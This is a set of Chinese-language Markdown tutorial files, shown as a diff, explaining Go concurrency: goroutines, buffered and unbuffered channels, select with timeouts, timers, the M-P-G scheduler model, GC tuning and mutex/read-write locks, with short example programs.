- goroutine 使用 channel 通信coroutine 使用 yield resume
> coroutine 程序需要主动交出控制权宿主才能获得控制权并将控制权交给其他 coroutine
coroutine 的运行机制属于协作式任务处理在早期的操作系统中应用程序在不需要使用 CPU 会主动交出 CPU 使用权如果开发者故意让应用程序长时间占用 CPU操作系统也无能为力coroutine 始终发生在单线程
> goroutine可能发生在多线程环境下 goroutine无法控制自己获取高优先度支持
goroutine 属于抢占式任务处理和现有的多线程和多进程任务处理非常类似应用程序对 CPU 的控制最终还需要由操作系统来管理操作系统如果发现一个应用程序长时间大量地占用 CPU那么用户有权终止这个任务
## Go协程总结
Go协程的特点
- 有独立的栈空间
- 共享程序堆空间
- 调度由用户控制
注意
- Go程序在启动时就会为main函数创建一个默认的goroutine也就是入口函数main本身也是一个协程
- 如果主线程退出了则协程即使还没有执行完毕也退出
单纯的将函数并发执行是没有意义的函数与函数之间必须能够交换数据才能体现并发执行函数的意义为了实现数据的通信有两种常见并发模型
- 共享数据一般使用共享内存方式来共享数据Go中的实现方式为互斥锁sync包
- 消息消息机制认为每个并发单元都是独立个体拥有自己的变量不同的并发单元之间不共享各自的变量只通过消息来进行数据输入输出Go中的实现方式为channle
在Go中对上述两种方式都进行了实现但是Go不推荐共享数据方式推荐channel的方式进行协程通信因为多个 goroutine 为了争抢数据容易发生竞态问题会造成执行的低效率使用队列的方式是最高效的 channel 就是一种队列一样的结构
如图所示
![](../images/go/02-04.svg)
channel特性
- channel的本质是一个数据结构-队列先进先出
- channel是线程安全的多goroutine访问时不需要加锁因为在任何时候同时只能有一个goroutine访问通道
- channel拥有类型一个string的channle只能存放string类型数据
golang奉行通过通信来共享内存而不是通过共享内存来通信

View File

@ -0,0 +1,129 @@
## Golang对协程的支持
Go语言从语言层面原生提供了协程支持 `goroutine`执行goroutine只需极少的栈内存(大概是4~5KB)所以Go可以轻松的运行多个并发任务
Go中以关键字 `go` 开启协程
```go
func say(s string) {
for i := 0; i < 3; i++ {
fmt.Println(s)
}
}
func main() {
go say("Go") // 以协程方式执行say函数
say("noGo") // 以普通方式执行say函数
time.Sleep(5 * time.Second) // 睡眠5秒防止协程未执行完毕主程序退出
}
```
上述的程序的打印结果并不是按照顺序的因为go关键字开启了协程两个say函数并不是在一个控制流中
## goroutine使用案例
### 2.1 同时执行两件事
```go
func running() {
var times int
for {
times++
fmt.Println("tick:", times)
time.Sleep(time.Second)
}
}
func main() {
go running()
var input string
fmt.Scanln(&input)
}
```
命令行会不断地输出 tick同时可以使用 `fmt.Scanln()` 接受用户输入两个环节可以同时进行直到按 Enter键时将输入的内容写入 input变量中井返回
整个程序终止
### 2.2 一道基础面试题
示例一
```go
for i := 1; i <= 10; i++ {
go func(){
fmt.Println(i) // 全部打印11因为开启协程也会耗时协程没有准备好循环已经走完
}()
}
time.Sleep(time.Second)
```
示例二
```go
for i := 1; i <= 10; i++ {
go func(i int){
fmt.Println(i) // 打印无规律数字
}(i)
}
time.Sleep(time.Second)
```
## 常用API
### 3.1 GOMAXPROCS() 多核利用
goroutine相关API位于 `runtime`
如果Go程序要运行在多核上则可以如下操作此时可以实现程序的并行执行
```go
cpuNum := runtime.NumCPU() //获取当前系统的CPU核心数
runtime.GOMAXPROCS(cpuNum) //Go中可以轻松控制使用核心数
```
贴士在Go1.5之后程序已经默认运行在多核上无需上述设置
### 3.2 Gosched() 让出时间片
`runtime.Gosched()`用于让出CPU时间片即让出当前协程的执行权限调度器可以去安排其他等待的任务运行示例如下
```Go
func main(){
for i := 1; i <= 10; i++ {
go func(i int){
if i == 5 {
runtime.Gosched() // 协程让出,但并不代表不执行,而是 5永远不会第一输出
}
fmt.Println(i) // 打印一组无规律数字
}(i)
}
time.Sleep(time.Second)
}
```
贴士可以理解为接力赛跑A跑了一段遇到了Gosched接力给B
### 3.3 Goexit() 终止当前协程
`runtime.Goexit()`用于立即终止当前协程运行调度器会确保所有已注册defer延迟调用被执行
```go
func main(){
for i := 1; i <= 5; i++ {
defer fmt.Println("defer ", i)
go func(i int){
if i == 3 {
runtime.Goexit()
}
fmt.Println(i)
}(i)
}
time.Sleep(time.Second)
}
```
输出的结果类似于
```
4
2
5
1
defer 5
defer 4
defer 3
defer 2
defer 1
```

View File

@ -0,0 +1,144 @@
## channel简介
如果在程序中开启了多个goroutine那么这些goroutine之间该如何通信呢
go提供了一个channel管道数据类型可以解决协程之间的通信问题channel的本质是一个队列遵循先进先出规则FIFO内部实现了同步确保了并发安全
## channel的创建
### 2.0 channel的语法
channel在创建时可以设置一个可选参数缓冲区容量
- 创建有缓冲channel`make(chan int, 10)`创建一个缓冲长度为10的channel
- 创建无缓冲channel`make(chan int)`其实就是第二个参数为0
channel内可以存储多种数据类型如下所示
```go
ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})
```
从管道中读取或者向管道写入数据使用运算符`<-`他在channel的左边则是读取右边则代表写入
```go
ch := make(chan int)
ch <- 10 // 写入数据10
num := <- ch // 读取数据
```
### 2.1 无缓冲channel
无缓冲的channel是阻塞读写的必须写端与读端同时存在写入一个数据则能读出一个数据
```go
package main
import (
"fmt"
"time"
)
// 写端
func write(ch chan int) {
ch <- 100
fmt.Printf("ch addr%v\n", ch) // 输出内存地址
ch <- 200
fmt.Printf("ch addr%v\n", ch) // 输出内存地址
ch <- 300 // 该处数据未读取,后续操作直接阻塞
fmt.Printf("ch addr%v\n", ch) // 没有输出
}
// 读端
func read(ch chan int) {
// 只读取两个数据
fmt.Printf("取出的数据data1%v\n", <-ch) // 100
fmt.Printf("取出的数据data2%v\n", <-ch) // 200
}
func main() {
var ch chan int // 声明一个无缓冲的channel
ch = make(chan int) // 初始化
// 向协程中写入数据
go write(ch)
// 向协程中读取数据
go read(ch)
// 防止主go程提前退出导致其他协程未完成任务
time.Sleep(time.Second * 3)
}
```
注意无缓冲通道的收发操作必须在不同的两个`goroutine`间进行因为通道的数据在没有接收方处理时数据发送方会持续阻塞所以通道的接收必定在另外一个 goroutine 中进行
如果不按照该规则使用则会引起经典的Golang错误`fatal error: all goroutines are asleep - deadlock!`
```go
func main() {
ch := make(chan int)
ch <- 10
<-ch
}
```
### 2.2 有缓存channel
有缓存的channel是非阻塞的但是写满缓冲长度后也会阻塞写入
```go
package main
import (
"fmt"
"time"
)
// 写端
func write(ch chan int) {
ch <- 100
fmt.Printf("ch addr%v\n", ch) // 输出内存地址
ch <- 200
fmt.Printf("ch addr%v\n", ch) // 输出内存地址
ch <- 300 // 写入第三个,造成阻塞
fmt.Printf("ch addr%v\n", ch) // 没有输出
}
func main() {
var ch chan int // 声明一个有缓冲的channel
ch = make(chan int, 2) // 可以写入2个数据
// 向协程中写入数据
go write(ch)
// 防止主go程提前退出导致其他协程未完成任务
time.Sleep(time.Second * 3)
}
```
同样的当数据全部读取完毕后再次读取也会造成阻塞如下所示
```go
func main() {
ch := make(chan int, 1)
ch <- 10
<-ch
// <-ch
}
```
此时程序可以顺序运行不会报错这是与无缓冲通道的区别但是当继续打开 注释 部分代码时通道阻塞所有协程挂起此时也会产生错误`fatal error: all goroutines are asleep - deadlock!`
### 2.3 总结 无缓冲通道与有缓冲通道
无缓冲channel
- 通道的容量为0 `cap(ch) = 0`
- 通道的个数为0 `len(ch) = 0`
- 可以让读写两端具备并发同步的能力
有缓冲channel
- 在make创建的时候设置非0的容量值
- 通道的个数为当前实际存储的数据个数
- 缓冲区具备数据存储的能力到达存储上限后才会阻塞相当于具备了异步的能力
- 有缓冲channel的阻塞产生条件
- 当缓冲通道被填满时尝试再次发送数据会发生阻塞
- 当缓冲通道为空时尝试接收数据会发生阻塞
问题为什么 Go语言对通道要限制长度而不提供无限长度的通道?
> channel是在两个 goroutine 间通信的桥梁使用 goroutine 的代码必然有一方提供数据一方消费数据 通道如果不限制长度在生产速度大于消费速度时内存将不断膨胀直到应用崩溃

View File

@ -0,0 +1,108 @@
## channel的相关操作
### 3.1 通道数据的遍历
channel只支持 for--range 的方式进行遍历
```go
ch := make(chan int)
go func() {
for i := 0; i <=3; i++ {
ch <- i
time.Sleep(time.Second)
}
}()
for data := range ch {
fmt.Println("data==", data)
if data == 3 {
break
}
}
```
### 3.2 通道关闭
通道是一个引用对象支持GC回收但是通道也可以主动被关闭
```go
ch := make(chan int)
close(ch) // 关闭通道
ch <- 1 // 报错send on closed channel
```
从通道中接收数据时可以利用多返回值判断通道是否已经关闭
```go
func main() {
ch := make(chan int, 10)
go func(ch chan int) {
for i := 0; i < 10; i++ {
ch <- i
}
close(ch)
}(ch)
for {
if num, ok := <-ch; ok == true {
fmt.Println("读到数据:", num)
} else {
break
}
}
}
```
如果channel已经关闭此时需要注意
- 不能再向其写入数据否则会引起错误`panic:send on closed channel`
- 可以从已经关闭的channel读取数据如果通道中没有数据会读取通道存储的默认值
### 3.3 通道读写
默认情况下管道的读写是双向的但是为了对 channel 进行使用的限制可以将 channel 声明为只读或只写
```go
var chan1 chan<- int // 声明 只写channel
var chan2 <-chan int // 声明 只读channel
```
单向chanel不能转换为双向channel但是双向channel可以隐式转换为任意类型的单向channel
```go
// 只写端
func write(ch chan<- int) {
ch <- 100
fmt.Printf("ch addr%v\n", ch) // 输出内存地址
ch <- 200
fmt.Printf("ch addr%v\n", ch) // 输出内存地址
ch <- 300 // 该处数据未读取,后续操作直接阻塞
fmt.Printf("ch addr%v\n", ch) // 没有输出
}
// 只读端
func read(ch <-chan int) {
// 只读取两个数据
fmt.Printf("取出的数据data1%v\n", <-ch) // 100
fmt.Printf("取出的数据data2%v\n", <-ch) // 200
}
func main() {
var ch chan int // 声明一个双向
ch = make(chan int, 10) // 初始化
// 向协程中写入数据
go write(ch)
// 向协程中读取数据
go read(ch)
// 防止主go程提前退出导致其他协程未完成任务
time.Sleep(time.Second * 3)
}
```
双向channel进行显式转换
```Go
ch := make(chan int) // 声明普通channel
ch1 := <-chan int(ch) // 转换为 只读channel
ch2 := chan<- int(ch) // 转换为 只写channel
```

View File

@ -0,0 +1,109 @@
## channel的一些示例
### 4.1 示例一 限制并发
耗时操作为timeMore现在有100个并发限制为5个
```go
package main
import (
"time"
"fmt"
)
func timeMore(ch chan string) {
// 执行前先注册,写不进去就会阻塞
ch <- "任务"
fmt.Println("模拟耗时操作")
time.Sleep(time.Second) // 模拟耗时操作
// 任务执行完毕,则管道中销毁一个任务
<-ch
}
func main() {
ch := make(chan string, 5)
// 开启100个协程
for i := 0; i < 100; i++ {
go timeMore(ch)
}
for {
time.Sleep(time.Second * 5)
}
}
```
### 4.2 生产者消费者模型
```go
package main
import (
"fmt"
"time"
)
// 生产者
func producer(ch chan<- int) {
i := 1
for {
ch <- i
fmt.Println("Send:", i)
i++
time.Sleep(time.Second * 1) // 避免数据流动过快
}
}
// 消费者
func consumer(ch <-chan int) {
for {
v := <-ch
fmt.Println("Receive:", v)
time.Sleep(time.Second * 2) // 避免数据流动过快
}
}
func main() {
// 生产消费模型中的缓冲区
ch := make(chan int, 5)
// 启动生产者
go producer(ch)
// 启动消费者
go consumer(ch)
// 阻塞主程序退出
for {
}
}
```
当然该模型也可以使用无缓冲模型区别如下
- 无缓冲生产消费模型同步通信
- 有缓冲生产消费模型异步通信
### 4.3 定时器
定时器`time.Timer`的底层其实也是一个管道
```go
type Timer struct {
C <-chan Time
r runtimeTimer
}
```
在时间到达之前没有数据写入则timer.C会一直阻塞直到时间到达系统会自动向timer.C中写入当前时间阻塞就会被解除
```go
// 创建定时器 定义延迟时间为2秒
layTimer := time.NewTimer(time.Second * 2)
// 从管道取数据但是一直都是空的阻塞中直到2庙后有数据才能取出
fmt.Println(<-layTimer.C)
```
定时器的其他操作
- Stop()停止定时器此时如果从管道中取数据则会阻塞
- Reset()重置定时器此时需要传入一个新的定时时间间隔
- timer.Tiker可以创建一个周期定时器

View File

@ -0,0 +1,189 @@
## select的概念
Go语言中的 select 关键字可以同时响应多个通道的操作在多个管道中随机选择一个能走通的路
```go
select {
case 操作1:
响应操作1
case 操作2:
响应操作2
...
default:
没有操作的情况
}
```
如果有这样的需求两个管道中只要有一个管道能够取出数据那么就使用该数据
```go
func fn1(ch chan string) {
time.Sleep(time.Second * 3)
ch <- "fn1111"
}
func fn2(ch chan string) {
time.Sleep(time.Second * 6)
ch <- "fn2222"
}
func main() {
ch1 := make(chan string)
go fn1(ch1)
ch2 := make(chan string)
go fn2(ch2)
select {
case r1 := <-ch1:
fmt.Println("r1=", r1)
case r2 := <-ch2:
fmt.Println("r2=", r2)
}
}
```
由于fn1延迟较低则就会一直得到fn1的数据
## select的一些注意事项
### 2.1 default
select支持default如果select没有一条语句可以执行即所有的通道都被阻塞那么有两种可能的情况
- 如果给出了default语句执行default语句同时程序性的执行会从select语句后的语句中恢复
- 如果没有default语句那么select语句将被阻塞直到至少有一个通信可以进行下去
- 所以一般不写default语句
当然在一些场景中for循环使用select获取channel数据如果channel被写满也可能会执行default
注意select中的case必须是I/O操作
#### 2.3 channel超时解决
在并发编程的通信过程中最需要处理的是超时问题即向channel写数据时发现channel已满或者取数据时发现channel为空如果不正确处理这些情况会导致goroutine锁死例如
```go
// 如果永远没有人写入ch数据那么上述代码一直无法获得数据导致goroutine一直阻塞
i := <-ch
```
利用select()可以实现超时处理
```go
timeout := make(chan bool, 1)
go func() {
time.Sleep(1e9) // 等待1秒钟
timeout <- true
}()
select {
case <-ch: // 能取到数据
case <-timeout: // 没有从-cha中取到数据此时能从timeout中取得数据
}
```
#### 2.4 空select
空的select唯一的功能是阻塞代码
```go
select {}
```
## select的一些案例
#### 3.1 案例一 模拟web开发
```go
package main
import (
"fmt"
)
/**
模拟远程调用RPC使用通道代替 Socket 实现 RPC 的过程
客户端与服务器运行在同 一个进程 服务器和客户端在两个 goroutine 中运行
*/
// 模拟客户端
func RPCClient(ch chan string, req string) (string, error) {
ch <- req // 向服务器发送请求模拟:请求数据放入通道
select { // 等待服务器返回模拟使用select
case data := <-ch:
return data, nil
}
}
// 模拟服务端
func RPCServer(ch chan string) {
// 通过无限循环继续处理下一个客户端请求。
for {
data := <-ch
fmt.Println("server received: ", data)
ch <- "roger" // 向客户端反馈
}
}
func main() {
// 模拟 启动服务器
ch := make(chan string)
go RPCServer(ch)
// 模拟 发送数据
receive, err := RPCClient(ch, "hi")
if err != nil {
fmt.Println(err)
} else {
fmt.Println("client receive: ", receive)
}
}
```
#### 3.2 案例二 使用通道晌应计时器的事件
Go语言中的 time 包提供了计时器的封装由于 Go 语言中的通道和 goroutine 的设计 定时任务可以在 goroutine 中以同步方式完成也可以通过在 goroutine 中异步回调完成
实现一段时间之后
```go
exitCh := make(chan int)
fmt.Println("start")
time.AfterFunc(time.Second, func() {
fmt.Println("1秒后结束")
exitCh <- 0
})
// 阻塞以等待结束
<- exitCh
```
计时器与打点器
- 计时器( Timer)与倒计时类似也是给定多少时间后触发 创建后会返回 time.Timer 对象
- 打点器( Ticker) 表示每到整点就会触发创建后会返回 time.Ticker 对象
返回的时间对象内包含成员 C 其类型是只能接收的时间通道 C<-chanTime 使用这个通道就可以获得时间触发的通知
示例创建一个打点器 每500毫秒触发一起:创建一个计时器 2秒后触发只触发一次
```go
// 创建一个打点器每500毫秒触发一次
ticker := time.NewTicker(time.Millisecond * 500)
// 创建一个计时器2秒后触发
stopper := time.NewTimer(time.Second * 2)
// 声明计数变量
var i int
for { // 不断检查通道情况
select {
case <-stopper.C: // 计时器到了
fmt.Println("stop")
goto StopHere // 跳出循环
case <-ticker.C: // 打点触发了
i++ // 记录触发多少次
fmt.Println("tick", i)
}
}
StopHere:
fmt.Println("done")
```

View File

@ -0,0 +1,153 @@
## go通信主张
数据放在共享内存中提供给多个线程访问的方式虽然思想上简单但却有两个问题
- 使并发访问控制变得复杂
- 一些同步方法的使用会让多核CPU的优势难以发挥
Go的著名主张
> 不要用共享内存的方式来通信应该以通信作为手段来共享内存
Go推荐使用通道channel的方式解决数据传递问题在多个goroutine之间channel复杂传递数据还能保证整个过程的并发安全性
当然Go也依然提供了传统的同步方法如互斥量条件变量等
## Go线程模型
#### 2.0 线程模型三元素
Go的线程实现模型有三个元素即MPG
- Mmachine一个M代表一个工作线程
- Pprocessor一个P代表执行一个Go代码段需要的上下文环境
- Ggoroutine一个G代表一个Go协程
每个G的执行需要P和M的支持M与P关联后才会形成一个有效的G运行环境 `工作线程+上下文环境`
内核调度实体KSE负责调度这些工作线程M每个实体对应一个M如图所示
![](../images/go/02-05.svg)
#### 3.1 M
工作线程M用来关联上下文环境P
创建新的工作线程M时机
- 没有足够的工作线程
- 一些特殊情况下执行系统监控执行垃圾回收等
M常用源码字段如下
```go
type m struct {
g0 *g // Go运行时启动之初创建用于执行运行时任务
mstartfn func() // M起始函数即代码中 go 携带的函数
curg *g // 存储当前正在运行的代码段G的指针
p puintptr // 指针当前关联的上下文P
nextp puintptr // 指针与当前M有潜在关联的P调度器将某个P赋给某个M的nextp则及时预关联
spinning bool // 当前M是否正在寻找可运行的G
lockedg *g // 与当前M锁定的G
}
```
M的生命
- 创建
- M被创建后就会加入全局M列表runtime.allm)并设定M的 mstartfnp 起始函数上下文环境
- 然后运行时为M创建一个新工作线程并与之关联
- 起始函数只作为系统监控和垃圾回收使用通过起始函数可以获取M所有信息也可以防止M被当做垃圾回收掉
- 停止
- 运行时停止M时M会被放入空闲M列表runtime.sched.midle)
- 运行时从该列表中回收M
Go可以手动设定可以使用的M数量
```go
runtime/debug.SetMaxThreads
```
一个Go程序默认最多可使用10000个M该值越早设定越好
#### 3.2 P
goroutine即G如果需要运行需要获得运行时机当Go运行时让上下文环境P与工作线程M建立连接后P中的G就可以运行
P的结构包含两个重要成员
- 可运行G队列要运行的G列表
- 自由G列表已完成运行的G列表可以提高G的复用率
贴士
> P的数量即是G的队列数量其最大值用来限制并发运行G的规模可以在`runtime.GOMAXPROCS`中设置
P的重复利用
- 连接Go运行时让P与M连接后P中的G开始运行
- 分离G进入系统调用后运行时会将M和对应的P分离
- 如果P的可运行队列中还有未被运行的G运行时会找到一个空闲的M或者创建新的M并与该P关联以满足剩余的G运行需要所以一般情况下M的数量都会比P多
- 空闲P与M分离后会被放入空闲P列表(runtime.sched.pidle)
- 此时会清空P中的可运行G队列如果运行时需要一个空闲的P与M关联则从该列表取出一个
P的生命如图
![](../images/go/02-06.svg)
贴士
- 非Pdead状态的P都会在运行时要停止调度时被设置为Pgcstop状态等到要重新调度时不会被恢复到原有状态而是统一被转换为Pidle状态公平接受再次调度
- 自由G列表会随着完成运行的G增多而增大到一定程度后运行时会将其中部分G转移到调度器自己的自由G列表中
#### 3.3 G
一个G代表一个Go协程goroutine即go函数
在go函数启动一个G时
- 运行时会先从相应的P的自由G列表获取一个G封装go函数
- 如果P的自由G列表为空则会从调度器本身的自由G列表中转移过来一些G到P的自由G列表中
- 如果调度器本身的自由G列表也为空则新建一个G
运行时本身持有一个G的全局列表runtime.allgs)用于存放当前运行时系统中所有G的指针新建的G会被加入该列表
执行步骤
- 初始化无论是新G还是取出来的G都会被运行时初始化包括其关联函数G状态ID
- 将初始化后的G存储到本地P的runnext字段中
- 如果runnext字段中已经存在G则存在的G会被踢到该P可运行G队列的末尾如果队列已满则G只能追加到调度器本身的可运行G队列中
每个G都会由运行时根据需要设置为不同的状态
- Gidle刚被分配未初始化
- Grunnabel正在可运行队列中等待运行
- Grunning正在运行
- Gsyscall正在执行某个系统调用
- GwaitingG被阻塞中
- GdeadG闲置中
- GcopystackG的栈因为扩展或收缩正在被移动
G还有一些组合状态Gscan组合态代表G的栈正在被GC扫描
- GscanrunnableG等待运行中它的栈也被正在扫描因为垃圾回收
- GscanrunningG运行中它的栈正在被GC扫描
G的状态转换图
![](../images/go/02-07.svg)
注意
- 进入死亡状态Gdead的G可以重新被初始化
- 但是P进入死亡状态Pdead后只能被销毁
## MPG容器
MPG常见容器
| 名称 | 源码 | 作用域 | 说明 |
| ------ | ------ | ------ | ------ |
| 全局M列表 | runtime.allm | 运行时 | 存放所有M的单向链表 |
| 全局P列表 | runtime.allp | 运行时| 存放所有P的数组 |
| 全局G列表 | runtime.allgs | 运行时 | 存放所有G的切片 |
| 空闲M列表 | runtime.sched.midle | 调度器 | 存放空闲M的单向链表 |
| 空闲P列表 | runtime.sched.pidle | 调度器 | 存放空闲P的单向链表 |
| 调度器可运行G队列 | runtime.sched.runqhead runtime.sched.runqtail | 调度器 | 存放可运行的G的队列 |
| 调度器自由G列表 | runtime.sched.gfreeStack runtime.sched.gfreeNoStack | 调度器 | 存放自由G的两个单向链表 |
| P可运行G队列 | runtime.p.runq | 本地P | 存放当前P中可运行的G的队列 |
| P自由G列表 | runtime.p.gfree | 本地P | 存放当前P的自由G的单向链表 |
贴士
- 任何G都会存在于全局G列表中其余的4个容器则只会存放在当前作用域内的具有每个状态的G
- 调度器的可运行G列表和P的可运行G列表拥有几乎平等的运行机会
- 刚被初始化的G都会被放入本地P的可运行G队列
- 从Gsyscall状态转出的G都会被放入调度器的可运行G队列
- Gdead状态的G会被放入本地P的自由G列表
两个可运行G队列会互相转移G
- 调用runtime.GOMAXPROCS函数会导致运行时系统把将死的P的可运行G队列中的G全部转移到调度器的可运行G队列
- 如果本地P的可运行G队列已满则一半的G会被转移到调度器可运行G队列中

View File

@ -0,0 +1,106 @@
## 调度器的调度
#### 1.0 调度器概述
Go线程模型中一部分调度任务由操作系统内核之外的程序承担即调度器其调度对象是MPG的实例
每个M在运行过程中的偶会按需执行一些调度任务
MPG模式运行状态
![](../images/go/02-08.svg)
#### 1.1 一轮调度
go程序初始化完毕后调度器会进行一轮调度(位于runtime中的schedule函数)以让main函数中的G有机会开始运行
一轮调度查找G流程
- 1 调度器会先查找全局调度器的可运行G队列以及本地P的可运行G队列
- 2 找不到则进入强力查找模式从任何可以获得G的地方查找G
- 3 还是找不到则该子流程暂停直到有可运行的G出现才会继续下去
- 4 子流程结束意味着当前M抢到了一个可运行的G
调度器找到G后的流程
- 如果调度器在一轮调度之初发现当前M已经与某个G锁定会立即停止调度并阻塞当前M如果G到了可运行状态M会被唤醒并继续运行G
- 如果当前M找到了可运行G却发现该G与另外的M锁定它会唤醒绑定的M来运行该G并重新为当前M寻找可运行G
- 如果当前M未与任何G锁定(gcwaiting值不为0)那么停止Go调度器即STW(Stop the world)并等待运行时串行任务正在执行
- 当锁定和运行时串行任务都为假执行寻找G
#### 1.2 强力查找模式
一轮调度器开启强力找子流程时会多次尝试从任何可以获得G的地方查找G使用的函数是`runtime.findrunnabel`返回一个处于`Grunnable`状态的G
阶段一执行步骤如下
- 步骤一获取终结函数的G对象在未被任何其他对象引用时不可达就会被垃圾回收器回收回收前会调用函数`runtime.SetFinalizer`将该对象与一个中终结函数绑定所有的终结函数由一个专用的G负责调度器如果发现该G完成任务会将其状态设置为Grunnable并放入本地P的可运行G队列
- 步骤二从本地P的可运行G队列获取一个G
- 步骤三找不到则从调度器的可运行对垒获取G
- 步骤四找不到则从网络I/O轮询器netpoller获取G
- 步骤五找不到则从其他P的可运行G队列获取G
如果上述步骤还是无法搜索到可用G那么搜索进入阶段二
- 步骤一调度器判断是否处于GC标记节点如果是则把本地P持有的GC标记的G状态改为Grunnable并返回结果
- 步骤二再次从调度器可运行G队列获取G找不到则解除本地P与当前M关联并把P放入调度器的空闲P列表
- 步骤三遍历全局P列表中的P检查可运行G队列如果发现某个P的可运行G队列不为空则取出一个P关联到当前M进入阶段一重新执行
- 步骤四全局P列表也没有可运行G队列则判断是否正处于GC标记节点以及相关资源是否可用如果都是true调度器会从空闲P列表拿出一个P如果该P持有一个GC标记专用G就关联P与M执行阶段二的步骤一
- 步骤五继续从I/O轮询器获取G
上述2个阶段都查找不到G则调度器就会停止当前M
#### 1.3 M的启动与停止
在高并发Go程序中并发量越大调度器对MPG的调度就越频繁相应的M的启动和停止也会被执行的更频繁
M启动和停止相关的函数有
- `stopm()`停止当前M直到有心的G变得可运行而被唤醒
- `gcstopm()`停止当前M为串行运行时任务的执行让路任务结束后被唤醒
- `stoplockedm()`停止与G锁定的M的执行直到这个G变得可运行而被重新唤醒
- `startlockedm(gp *g)`唤醒与gp锁定的M并让M执行gp
- `startm(_p_ *p, spining bool)`唤醒或者创建一个M然后关联_p_并执行
#### 1.4 系统检测任务
系统检测任务由函数`sysmon`实现他完成了以下事情
- 在需要时抢夺符合条件的P和G
- 在需要时进行强制GC
- 在需要时清扫堆
- 在需要时打印调度器跟踪信息
检测任务被包裹在一个循环之中会被一直执行下去直到Go程序结束
## g0和m0
M中拥有两个特殊的元素
- g0M初始化时运行时生成的线程所在的栈称为调度栈/系统栈/调度栈/OS线程栈用于执行调度垃圾回收栈管理
- gsignal处理信号的G所在的栈称为信号栈
- runtime.g0用于执行引导程序位于Go程序第一个内核线程中该内核线程是runtime.m0
注意
- g0不会被阻塞也不会包含在任何G队列或者列表中其栈也不会再垃圾回收期被扫描
- runtime.m0和runtime.g0都是静态分配的无需分配内容
- runtime.m0的g0级runtime.g0
## 调度器锁和原子操作
每个M都有可能执行调度任务这些任务的执行在时间上可能会重叠即并发的调度因此调度器会在读写一些全局变量以及它的字段时使用调度器锁进行保护
Go运行时系统在一些需要保证并发安全的变量存取上使用了原子操作原子操作比锁操作清凉很多可以节约大量资源比如sched.nmspinning,sched.ngsys等变量读写时都会用到原子操作
## GC调整
当前Go的GC基于CMS算法拥有三种执行模式
- gcBackgroundMode并发执行垃圾收集标记和清扫
- gcForceMode串行执行垃圾收集执行时停止调度但是会并发的执行清扫
- gcForceBlockMode串行执行垃圾收集和清扫
调度器驱使的自动GC和系统检测任务中的强制GC都是gcBackgroundMode模式但是前者会检查内存使用量只有增量过大时才执行GC后者无视这个条件
通过环境变量GODEBUG可以手动控制GC并发性设置gcstoptheworld的值为1GC的执行模式就会由gcBackgroundMode变为gcForceMode设为2则变为gcForceBlockMode
Go运行时系统会在分配新内存是会检查Go程序的内存使用增量若增量翻倍则会触发GC人工设置`runtime/debug.SetGCPercent`函数可以改变增量阈值int类型已分配内存的百分之几触发GC默认阈值是100为负数时不会触发GC该函数在被调用后会返回旧的阈值
注意
- GOGC环境变量也可以设置GC阈值但是必须在程序启动前进行设置
- 关闭GC后就需要手动GC`runtime.GC`函数可以手动触发一次GC不过这个GC函数会阻塞调用方直到GC完成此时GC以gcForceBlockMode模式执行
- 调用`runtime/debug`包的`FreeOSMemory`函数也可以手动触发一次串行GC并在GC完成后执行一次清扫堆操作

View File

@ -0,0 +1,220 @@
## 并发解决方案
Go程序可以使用通道进行多个goroutine间的数据交换但是这仅仅是数据同步中的一种方法Go语言与其他语言如CJava一样也提供了同步机制在某些轻量级的场合原子访问sync/atomic包互斥锁sync.Mutex以及等待组sync.WaitGroup能最大程度满足需求
贴士利用通道优雅的实现了并发通信但是其内部的实现依然使用了各种锁因此优雅代码的代价是性能的损失
##
#### 1.1 互斥锁 sync.Mutex
互斥锁是传统并发程序进行共享资源访问控制的主要方法Go中由结构体`sync.Mutex`表示互斥锁保证同时只有一个 goroutine 可以访问共享资源
示例一普通数据加锁
```go
package main
import (
"fmt"
"sync"
//"sync"
"time"
)
func main() {
var mutex sync.Mutex
num := 0
// 开启10个协程每个协程都让共享数据 num + 1
for i := 0; i < 1000; i++ {
go func() {
mutex.Lock() // 加锁,阻塞其他协程获取锁
num += 1
mutex.Unlock() // 解锁
}()
}
// 大致模拟协程结束 等待5秒
time.Sleep(time.Second * 5)
// 输出1000如果没有加锁则输出的数据很大可能不是1000
fmt.Println("num = ", num)
}
```
一旦发生加锁如果另外一个 goroutine 尝试继续加锁时将会发生阻塞直到这个 goroutine 被解锁所以在使用互斥锁时应该注意一些常见情况
- 对同一个互斥量的锁定和解锁应该成对出现对一个已经锁定的互斥量进行重复锁定会造成goroutine阻塞直到解锁
- 对未加锁的互斥锁解锁会引发运行时崩溃1.8版本之前可以使用defer可以有效避免该情况但是重复解锁容易引起goroutine永久阻塞1.8版本之后无法利用defer+recover恢复
示例二对象加锁
```go
// 账户对象,对象内置了金额与锁,对象拥有读取金额、添加金额方法
package main
import (
"fmt"
"sync"
"time"
)
type Account struct {
money int
lock *sync.Mutex
}
func (a *Account)Query() {
fmt.Println("当前金额为:", a.money)
}
func (a *Account)Add(num int) {
a.lock.Lock()
a.money += num
a.lock.Unlock()
}
func main() {
a := &Account{
0,
&sync.Mutex{},
}
for i := 0; i < 100; i++ {
go func(num int){
a.Add(num)
}(10)
}
time.Sleep(time.Second * 2)
a.Query() // 不加锁会打印不到1000的数值加锁后打印 1000
}
```
#### 2.2 读写锁 sync.RWMutex
在开发场景中经常遇到多处并发读取一次并发写入的情况Go为了方便这些操作在互斥锁基础上提供了读写锁操作
读写锁即针对读写操作的互斥锁简单来说就是将数据设定为 写模式只写或者读模式只读使用读写锁可以分别针对读操作和写操作进行锁定和解锁操作
读写锁的访问控制规则与互斥锁有所不同
- 写操作与读操作之间也是互斥的
- 读写锁控制下的多个写操作之间是互斥的即一路写
- 多个读操作之间不存在互斥关系即多路读
在Go中读写锁由结构体`sync.RWMutex`表示包含两对方法
```go
// 设定为写模式:与互斥锁使用方式一致,一路只写
func (*RWMutex) Lock() // 锁定写
func (*RWMutex) Unlock() // 解锁写
// 设定为读模式:对读执行加锁解锁,即多路只读
func (*RWMutex) RLock()
func (*RWMutex) RUnlock()
```
注意
- Mutex和RWMutex都不关联goroutine但RWMutex显然更适用于读多写少的场景仅针对读的性能来说RWMutex要高于Mutex因为rwmutex的多个读可以并存
- 所有被读锁定的goroutine会在写解锁时唤醒
- 读解锁只会在没有任何读锁定时唤醒一个要进行写锁定而被阻塞的goroutine
- 对未被锁定的读写锁进行写解锁或读解锁都会引发运行时崩溃
